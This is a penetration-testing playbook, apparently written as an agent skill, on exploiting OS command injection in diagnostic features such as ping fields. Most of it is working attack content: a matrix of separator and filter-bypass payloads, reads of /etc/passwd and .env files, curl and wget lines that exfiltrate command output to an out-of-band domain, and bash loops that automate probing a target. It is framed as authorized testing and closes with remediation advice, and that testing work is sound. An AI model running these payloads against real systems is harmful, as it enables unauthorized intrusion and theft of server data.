Exploiting OS Command Injection
When to Use
- During authorized penetration tests when a parameter is reflected into a system command, shell, or process invocation (ping, nslookup, ImageMagick, ffmpeg, pdf/zip utilities, git, tar, "export to PDF", "test connection", etc.)
- When testing admin/diagnostic features ("ping host", "traceroute", "DNS lookup", "check connectivity") which are the single most common command-injection sinks
- When file names, hostnames, or format parameters flow into
system(),exec(),popen(),subprocesswithshell=True,Runtime.exec, or backticks - After finding LFI/file upload — chaining to RCE often involves a command sink
Do not run destructive commands (rm, shutdown, fork bombs) on the target.
Limit proof-of-concept to read-only commands (id, whoami, hostname).
Critical: Variants Most Often Missed (test these for EVERY parameter)
Command injection is missed when only one separator is tried. For every parameter — especially hostnames, file names, and "format" values — try the full separator matrix in both an in-band and a blind form.
# Separators — prepend with the expected-valid value to keep the command working,
# e.g. for a ping field: 127.0.0.1;id
;id # command separator (Linux/most shells)
| id # pipe
|| id # OR (runs if first fails)
& id # background / AND (Windows cmd)
&& id # AND (runs if first succeeds)
`id` # backtick substitution
$(id) # $() substitution
%0a id # newline-injected command (very commonly the ONLY one that works)
%0d%0a id
{id,} # brace bypass when spaces are filtered
\nid
# No-space variants (when spaces/IFS are filtered)
;cat</etc/passwd
;cat${IFS}/etc/passwd
;cat$IFS$9/etc/passwd
{cat,/etc/passwd}
# Windows
& whoami
&& whoami
| whoami
%0a whoami
Blind / out-of-band detection (when output is NOT reflected)
Most real command injection is blind. Confirm with timing or OOB callbacks:
# Time-based — a reliable, target-agnostic confirmation
;sleep 10
& ping -n 10 127.0.0.1 # Windows
;ping -c 10 127.0.0.1 # Linux
$(sleep 10)
`sleep 10`
%0asleep%2010
# Out-of-band (DNS/HTTP) using a collaborator/interactsh domain
;nslookup <unique>.oast.fun
;curl http://<unique>.oast.fun/$(whoami)
& nslookup <unique>.oast.fun # Windows
;wget --post-data="$(id)" http://<unique>.oast.fun
A 10-second delay that tracks the injected sleep value (test 0s vs 10s vs 20s
to rule out network noise), or a DNS/HTTP hit on your collaborator, confirms
injection even with no visible output.
How to CONFIRM a hit
- In-band: response contains
uid=/gid=(Linuxid) or a WindowsDOMAIN\userstring (whoami), orLinux ... #fromuname -a. - Blind time-based: response time correlates with the injected sleep duration.
- OOB: interaction (DNS or HTTP) received on your collaborator with the
expected unique subdomain — and ideally exfiltrated
whoamioutput in it.
Workflow
Step 1: Find command sinks
# Parameters/features that commonly reach a shell:
# host, ip, domain, url, target, ping, dns, lookup, cmd, exec, command,
# file, filename, path, name, format, type, ext, page, lang, action
# Diagnostic UIs ("network tools", "test connection", "send test email",
# "export", "convert", "backup") are prime sinks.
# Baseline a known-good request first to measure normal timing/size.
curl -s -o /dev/null -w "%{http_code} %{size_download} %{time_total}s\n" \
"https://target.example.com/diag/ping?host=127.0.0.1"
Step 2: Probe with the separator matrix (in-band)
HOST="https://target.example.com/diag/ping"
for p in ';id' '|id' '||id' '&id' '&&id' '`id`' '$(id)' '%0aid' '{id,}'; do
echo -n "127.0.0.1$p -> "
curl -s "$HOST?host=127.0.0.1$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$p")" \
| grep -aoE 'uid=[0-9]+\([a-z0-9_]+\)' | head -1 || echo "no marker"
done
Step 3: Confirm blind injection with timing
for d in 0 10 20; do
t=$(curl -s -o /dev/null -w "%{time_total}" \
"https://target.example.com/diag/ping?host=127.0.0.1%3Bsleep%20$d")
echo "sleep $d -> ${t}s"
done
# If the response time tracks the sleep value, injection is confirmed.
Step 4: Out-of-band confirmation and limited exfiltration
# Start an interactsh client (or use Burp Collaborator) and use the domain:
OOB="abcd1234.oast.fun"
curl -s "https://target.example.com/diag/ping?host=127.0.0.1%3Bcurl%20http://$OOB/%24(whoami)"
# Check the OOB client for a hit containing the resolved username.
Step 5: Escalate (only within scope)
- Read files:
;cat /etc/passwd,;cat /var/www/html/.env - Identify context:
;id;uname -a;hostname;pwd - Establish an interactive shell only if the engagement authorizes it; prefer a read-only PoC otherwise.
Key Concepts
| Concept | Description |
|---|---|
| Command separator | Shell metacharacters (`; |
| Argument injection | Injecting extra flags (e.g. --output, -o) into a binary even when no shell separator is reachable |
| Blind injection | No command output is returned; confirmed via timing or out-of-band callbacks |
| Out-of-band (OOB) | Forcing the server to make a DNS/HTTP request to attacker infrastructure to prove execution |
| IFS bypass | Using ${IFS}, $IFS$9, or brace expansion to inject commands when spaces are filtered |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Intercept/Repeater/Intruder for the separator matrix; Collaborator for OOB |
| interactsh (oast.fun) | Self-hosted/public OOB interaction server for blind detection |
| commix | Automated command-injection detection and exploitation |
| ffuf | Fuzzing parameters with a command-injection payload list |
Common Scenarios
Scenario 1: "Ping host" diagnostic
A network-tools page runs ping -c 4 <host>. Submitting 127.0.0.1;id returns
the ping output followed by uid=33(www-data), confirming injection.
Scenario 2: Blind injection in a hostname field
A "test SMTP connection" feature gives no output. mail.x;sleep 15 makes the
response take ~15s while a valid host returns in <1s — blind RCE confirmed via
timing, then escalated with an OOB nslookup callback.
Scenario 3: Filtered spaces
Input strips spaces, so ;cat /etc/passwd fails but
;cat${IFS}/etc/passwd succeeds.
Output Format
## Finding: OS Command Injection in Ping Diagnostic
**Severity**: Critical (CVSS 9.8)
**Location**: GET /diag/ping?host=127.0.0.1;id
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Submit host=127.0.0.1 (baseline, ~0.2s)
2. Submit host=127.0.0.1;id
3. Response contains: uid=33(www-data) gid=33(www-data)
4. Blind confirmation: host=127.0.0.1;sleep 10 -> ~10s response
### Impact
Arbitrary command execution as the web-server user; full server compromise
and pivot into the internal network are possible.
### Recommendation
1. Never pass user input to a shell. Use argument arrays / native libraries
(e.g. execve with a fixed argv, no shell) instead of system()/shell=True.
2. Strictly allowlist input (e.g. validate host is a valid IP/hostname).
3. Run the service with least privilege and egress filtering to block OOB.